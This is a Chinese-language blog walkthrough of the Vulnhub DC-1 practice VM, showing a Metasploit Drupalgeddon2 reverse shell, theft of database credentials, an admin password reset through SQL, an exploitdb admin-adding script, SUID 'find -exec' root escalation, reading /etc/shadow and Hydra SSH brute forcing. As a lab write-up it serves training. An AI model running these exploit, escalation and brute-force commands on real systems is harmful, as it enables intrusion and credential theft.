[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)

这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了Vulnhub靶机渗透的环境搭建和JIS-CTF题目,采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。本文将讲解DC-1提权和Drupal漏洞利用,通过信息收集、CMS漏洞搜索、Metasploit反弹shell、提权及数据库爆破获取flag。本文是一篇Web渗透的基础性文章,希望对您有所帮助。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

文章目录

  • 一.DC-1题目描述及环境配置
    • 1.题目描述
    • 2.环境搭建
  • 二.Vulnhub靶机渗透详解
    • 1.信息收集
    • 2.CMS漏洞搜索
    • 3.Metasploit漏洞利用
    • 4.敏感信息分析获取flag1和falg2
    • 5.数据库爆破
    • 6.数据库管理员密码修改及获取flag3
    • 7.用户信息获取flag4
    • 8.提权和Hydra爆破flag5
    • 9.SSH远程登录
    • 10.suid提权
  • 三.总结

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.DC-1题目描述及环境配置

Vulnhub是一个特别好的渗透测试实战靶场,提供了许多带有漏洞的渗透测试虚拟机下载。作者会深入分析20多个案例来熟悉各种Web渗透工具及方法,希望能帮助到您。

1.题目描述

  • 靶场题目: DC: 1
  • 靶场地址:https://www.vulnhub.com/entry/dc-1-1,292/
  • 难度描述:包含5个Flag,初级难度,最终目标是在root主目录中找到并读取该标志
  • 靶场作者:DCAU
  • 下载地址:https://download.vulnhub.com/dc/DC-1.zip

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第1张图片

Description
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS. There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.



2.环境搭建

第一步,下载资源

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第2张图片


第二步,打开VMware虚拟机安装靶场
找到我们刚才下载的文件,导入虚拟机。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第3张图片

选择存放的位置,然后点击导入。如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第4张图片


第三步,导入完成之后,设置NAT网络模式,内存设置为1G,硬盘设置为4GB
注意,我们需要将靶机和kali放在同一个局域网下,保证能通信。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第5张图片


第四步,点击开启虚拟机

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第6张图片

此时服务器处于开启状态,开始Kali操作吧!最早我一直去找用户名和密码尝试登录,后来想这个靶场应该是让你通过其他系统来渗透的。哈哈,毕竟我也是初学者,遇到任何简单问题都理解。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第7张图片



二.Vulnhub靶机渗透详解

1.信息收集

第一步,目标IP探测
首先需要探测目标靶场的IP,推荐两种方法。

方法1:使用arp-scan命令探测目标的IP地址

  • arp-scan -l
  • 目标IP为192.168.44.144

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第8张图片

方法2:使用netdiscover识别目标主机

  • netdiscover -i eth0
    作者结合自己的虚拟机识别出来IP地址为:192.168.44.144

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第9张图片


第二步,端口扫描
nmap命令的基本用法如下:

  • -sS:半开扫描,记入系统日志风险小
  • -sP:扫描端口前,先使用ping扫描,保证主机存活
  • -A:全面系统检测,启用脚本检测和扫描

输入命令如下:

  • nmap -sS -T4 -A -p- 192.168.44.144

扫描结果(主机开放端口)如下,常用的端口22和88,也需要注意一些特殊的端口可能存在漏洞。

  • 22:SSH远程连接
  • 80:HTTP网站协议
  • 111:RPCBInd协议
  • 45684:敏感端口

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第10张图片

注意:在信息扫描中,目录扫描是接下来的操作。但这里作者没有进行目录扫描,因为该靶场考察一个CMS漏洞利用,后续也会有目录扫描操作。



2.CMS漏洞搜索

接着我们通过IP直接访问Web服务,这是一个Drupal搭建的网站。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第11张图片

推荐使用插件Wappalyzer进行网站指纹识别,也可以发现该网站是使用Drupal CMS的管理系统。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第12张图片

我们可以尝试在网上搜索这个cms的漏洞利用方式,可以发现漏洞编号为:

  • CVE-2018-7600

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第13张图片

使用AWVS进行扫描,得到该页面存在Drupal的一个漏洞CVE-2018-7600。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第14张图片



3.Metasploit漏洞利用

接下来使用metasploit工具对漏洞进行利用。

第一步,启动metasploit

  • msfconsole

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第15张图片


第二步,搜索drupal模块,采用2018
搜索这个CMS在MSF中能进行利用的方法,前面我们已经查询CVE-2018-7600是常见的漏洞。如果不知道的情况下,我们就需要一个个攻击模块的尝试。

  • search drupal

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第16张图片


第三步,采用最新的2018漏洞尝试攻击,配置参数

  • use exploit/unix/webapp/drupal_drupalgeddon2
  • show options:显示配置参数,其中RHOSTS是必填项

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第17张图片


第四步,反弹shell

  • set RHOSTS 192.168.44.144
  • exploit
  • shell
  • ls

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第18张图片


具体内容如下,注意发现了第一个文件flag1.txt。

README.txtmsf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.44.144
RHOSTS => 192.168.44.144
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on 192.168.44.138:4444 
[*] Sending stage (38247 bytes) to 192.168.44.144
[*] Meterpreter session 1 opened (192.168.44.138:4444 -> 192.168.44.144:33770) at 2020-04-10 22:25:12 +0800

meterpreter > shell
Process 3429 created.
Channel 0 created.

ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php


4.敏感信息分析获取flag1和falg2

在/var/www/下有个flag1.txt,提示我们查看配置文件。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第19张图片

虽然shell已经进入,但它并不是交互的shell,所以我们要进入交互式的shell。

  • cat flag1.txt
  • pwd
  • whoami
  • ls

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第20张图片


使用python反弹一个交互式shell TTY。

  • python -c 'import pty;pty.spawn("/bin/bash")'

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第21张图片

注意,drupal的配置文件是 /sites/default/settings.php ,是数据库连接配置文件。

  • cat settings.php

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第22张图片

接着发现了flag2以及数据库账号密码。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第23张图片

登上数据库查看相关信息。



/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);


5.数据库爆破

由于Drupal的默认配置文件为 /var/www/sites/default/settings.php,查看发现了flag2和数据库的账号密码,我们接着进入数据库查看。

第一步,登录数据库

  • msql -u dbuser -p
  • username => dbuser
  • password => R0ck3t
  • database => drupaldb

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第24张图片


第二步,数据库基本操作

  • show database;
  • use drupaldb;
  • show tables;

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第25张图片

发现用户表为users,注意Drupal框架默认的用户表就是users表。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第26张图片


第三步,查询admin用户

  • select * from users;
  • select name,pass from users;

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第27张图片

发现admin账号和经过加密的密码,flag2中给的提示暴力破解不是唯一的方法

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第28张图片

输出结果如下,但密码加密且不是md5方式。如何破解密码是接下来的关键。

mysql> select name,pass from users;
select name,pass from users;
+-------+---------------------------------------------------------+
| name  | pass                                                    |
+-------+---------------------------------------------------------+
|       |                                                         |
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
+-------+---------------------------------------------------------+
3 rows in set (0.00 sec)


6.数据库管理员密码修改及获取flag3

该部分参考文章:
VulnHub::DC-1 - chalan630大佬
如何重置Drupal 7的用户密码 - xieyanxy9
忘记Drupal的管理员密码的解决办法 - drupalchina


方法一:利用PHP脚本修改管理员密码
由于很多在线MD5爆破和MD5数据库,可以查到很多MD5码的原文,所以Drupal 7已不再采用Drupal 6和5简单的MD5加密,而是采用一种新型的Hash加密方法。新型加密方法是“加了盐(Salt)”的MD5码,简单理解就是并不会直接将password进行MD5加密,而会和用户名或其它随机字符串组合在一起后再MD5加密。

第一个破解方法是利用Drupal 7安装目录的scripts目录下,有一些Drupal 7开发者准备好的PHP脚本,可以执行一些高级操作。其中有一个脚本名为password-hash.sh,它的功能是传入一个密码(字符串),即返回加密后的密码字符串。

由于Drupal 7对数据库加密的脚本位于网站根目录scripts下,利用该脚本修改为新密码123456,基本流程如下:

  • php scripts/password-hash.sh 123456

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第29张图片

# php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
password: 123456 		
hash: $S$DQrmfkgP1s7S3svvp/OdzHuGpZyt0oaIOIMuULnN6Zo.gxuq8MAu

接着我们再次登录数据库。

  • mysql -u dbuser -p

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第30张图片

使用update语句修改密码,代码如下:

  • use drupaldb;
  • select name,pass from users;
  • update users set pass=’$… Zo.gxuq8MAu’ where name=‘admin’;
  • select name,pass from users;

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第31张图片

对原密码进行替换,再登录web服务,得到flag3。

  • admin
  • 123456

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第32张图片

主页显示如下图所示:

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第33张图片

可以在People页面看到我们的管理员用户信息。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第34张图片

对应的Flag3如下图所示:

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第35张图片

flag3的提示需要提升权限,使用“-exec”在shadow文件中,接下来需要先查看用户列表。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第36张图片



方法二:查找可利用漏洞,添加新管理员账户
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,第二种方法是通过该过程新增admin密码。

第一步,查看Drupal版本,确定Drupal版本为7.24

  • cat /var/www/includes/bootstrap.inc | grep VERSION

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第37张图片


第二步,使用searchsploit查找可利用漏洞。攻击脚本适用于7.31以下,所以适合7.24版本。

  • searchsploit drupal

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第38张图片


第三步,利用drupal7.0版本漏洞增加有admin权限的用户:eastmount

  • python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第39张图片

新增管理员用户如下:

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第40张图片


第四步,使用新添加的用户eastmount登录网站,在content模块下找到flag3。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第41张图片

显示flag3如下:

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第42张图片

flag3提示需要提升权限,使用“-exec”在shadow文件中,接下来需要先查看用户列表。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第43张图片



7.用户信息获取flag4

首先,我再带领大家回顾下整个渗透的流程。

1.metasploit反弹shell
  msfconsole
  use exploit/unix/webapp/drupal_drupalgeddon2
  set RHOSTS 192.168.44.144
  exploit

2.获取www-data@DC-1用户权限
  shell
  python -c 'import pty;pty.spawn("/bin/bash")'
  cat /etc/passwd
  find /root

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第44张图片

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第45张图片

flag3的提示提到了权限,于是我们尝试查看用户列表。

  • cat /etc/passwd

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第46张图片

注意,/etc/passwd包含系统所有账户信息,只有超级用户才有写和访问。该文件每个用户占一行用,分隔成七个字段。如下图所示:

在这里插入图片描述

发现flag4用户,接着切换到falg4的home目录,发现flag4.txt文件。flag4提示flag in root,接下来我们需要提权。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第47张图片



8.提权和Hydra爆破flag5

我们使用find获取root权限相关的信息,如下图所示:

  • find /root

find命令是用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件,并将查找到的子目录和文件全部进行显示。

find(选项)(参数)
-exec<执行指令>:假设find指令的回传值为True,就执行该指令
-perm<权限数值>:查找符合指定的权限数值的文件或目录

发现最终flag文件,但是无权限打开,flag3中提醒需要使用“-exec”提权。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第48张图片

接着进行ROOT提权,核心步骤包括:

  • mkdir test
  • find test -exec ‘/bin/sh’ /;

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第49张图片

查看/etc/shadow文件,发现flag4用户,并且flag4用户可以登录和密码。所以我们使用hydra进行爆破。

  • cat /etc/shadow

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第50张图片

/etc/shadow文件存储的是/etc/passwd的密码、存放安全用户信息,格式如下:

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第51张图片

接着使用hydra进行密码爆破,最终爆破用户和密码为:flag4、orange。

  • hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • -l:指定用户名
  • -P:加载自定义密码字典
  • ssh://ip:指定使用协议和ip地址

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第52张图片

注意,hydra爆破海量密码比较耗时,所以拥有一些好的字典非常重要。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第53张图片

最终结果为:

  • login: flag4
  • password: orange

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第54张图片



9.SSH远程登录

接着使用flag4用户进行ssh远程登录系统。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第55张图片

前面在flag4中提示root根目录,接着进入到根目录/root下找到thefinalflag.txt文本。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第56张图片

最终五个flag全部找到,游戏结束!DC-1这个靶场的综合性挺强的,也非常有趣。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第57张图片


注意,我们也可以直接利用find和-exec获取最终的flag。

  • touch test
  • find test -exec whoami ;
  • find test -exec cat /root/thefinalflag.txt ;

在这里插入图片描述

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第58张图片



10.suid提权

什么是suid?
通俗的理解是其他用户执行这个程序的时候可以用该程序所有者/组的权限。suid提权可以理解为某个文件有s标志,并且它输入root,当我们运行这个程序时就可以有root的权限,并且这个程序还能执行命令,那么我们就能从普通用户提升到root权限。常见suid提权的命令包括nmap、vim、find、bash等。

下面补充下suid提权方法,前面我们的www-data权限很低,通常拿到网站需要进行提权。找到一个属于root有s权限的文件。

  • find / -user root -perm 4000 -print 2>/dev/null
  • find / -perm -u=s -type f 2>/dev/null

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第59张图片

查看find的权限为root。

  • cd /usr/bin
  • ls -l find

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第60张图片

root提权。

  • mkdir test
  • find test -exec ‘/bin/sh’ /;
  • whoami

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第61张图片

接下来开始寻找flag,比如进入home目录发现flag4文件。

[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第62张图片


这文件存储的是/etc/passwd的密码、存放安全用户信息。
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)_第63张图片


三.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。DC-1的渗透流程如下:

  • 信息收集
    (1) 目标IP探测 (arp-scan、netdiscover)
    (2) Nmap端口扫描
  • CMS漏洞搜索
    (1) Wappalyzer识别Drupal CMS管理系统
    (2) 搜索Drupal漏洞编号CVE-2018-7600
  • Metasploit漏洞利用反弹shell
    (1) 搜索drupal漏洞
    (2) msf使用漏洞并配置参数
    (3) 反弹shell
  • 敏感信息分析
    (1) 敏感信息获取flag1
    (2) python反弹交互式shell python -c ‘import pty;pty.spawn("/bin/bash")’
    (3) 获取flag和数据库账号密码
  • 数据库爆破
    (1) 登录数据库 msql -u dbuser -p
    (2) 查看用户表users
    (3) 发现admin用户和密码,但密码加密
  • 数据库管理员密码获取
    (1) 修改管理员密码 php scripts/password-hash.sh 123456
    (2) 数据库update更新密码 update users set pass=‘MD5(123456)’ where name=‘admin’;
    (3) 登录网站获取flag3
    (4) 利用漏洞和Python脚本新增用户 searchsploit drupal
    (5) python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount
  • 提权和Hydra爆破
    (1) 用户信息获取flag4 cat /etc/passwd
    (2) ROOT提权 find test -exec ‘/bin/sh’ /;
    (3) hydra爆破密码 hydra -l flag4 -P passwords.txt ssh://192.168.44.144
  • SSH远程登录
  • suid提权,常见root提权命令
    (1) find test -exec cat /root/thefinalflag.txt ;
    (2) find test -exec ‘/bin/sh’ /
    (3) find / -user root -perm -4000 -print 2>/dev/null
    (4) find / -perm -u=s -type f 2>/dev/null
    (5) find / -user root -perm -4000 -exec ls -ldb {} ;

希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。转眼4月份到来,这是第66篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行;同时学术论文得深入了,加油!感谢很多人的帮助,继续爬着,继续加油!

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-04-11 晚上10点写于贵阳 http://blog.csdn.net/eastmount/)


参考文献:
[1] VulnHub-DC-1靶机渗透测试 - MzHeader
[2] VulnHub::DC-1 - chalan630
[3] Vulnhub靶机渗透测试实战(一):DC-1(入门) - Jenny_Zhx
[4] Vulnhub系列:DC-1 - capelthwaite
[5] (vulnhub靶机)DC-1 - 深信服TraveNight
[6] VulnHub测试靶场DC-1 - wx5c99daab1f230
[7] Vulnhub DC-1靶机渗透学习 - This-is-Y
[8] 如何重置Drupal 7的用户密码 - xieyanxy9
[9] https://cybrary.in/dc-1-1-vulnhub-walkthrough/

你可能感兴趣的:(网络安全,Web安全,渗透&攻防)